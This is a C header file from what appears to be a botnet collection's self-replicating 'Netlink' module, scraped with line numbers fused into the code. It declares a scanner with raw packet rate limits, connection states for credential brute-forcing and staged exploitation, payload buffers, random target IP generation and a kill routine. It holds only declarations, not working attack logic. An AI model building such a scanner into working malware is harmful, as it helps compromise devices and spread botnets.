Path: blob/master/Botnets/Self Reps/Netlink/netlink.h
5038 views
#ifdef SELFREP12#pragma once34#include <stdint.h>56#include "includes.h"78#define netlink_SCANNER_MAX_CONNS 2569#define netlink_SCANNER_RAW_PPS 10241011#define netlink_SCANNER_RDBUF_SIZE 108012#define netlink_SCANNER_HACK_DRAIN 641314struct netlink_scanner_connection15{16int fd, last_recv;17enum18{19netlink_SC_CLOSED,20netlink_netlink_SC_CONNECTING,21netlink_SC_GET_CREDENTIALS,22netlink_SC_EXPLOIT_STAGE2,23netlink_SC_EXPLOIT_STAGE3,24} state;25ipv4_t dst_addr;26uint16_t dst_port;27int rdbuf_pos;28char rdbuf[netlink_SCANNER_RDBUF_SIZE];29char **credentials;30char payload_buf[256], payload_buf2[256];31int credential_index;32};3334void netlink_scanner();35void netlink_kill(void);3637static void netlink_setup_connection(struct netlink_scanner_connection *);38static ipv4_t get_random_netlink_ip(void);3940#endif414243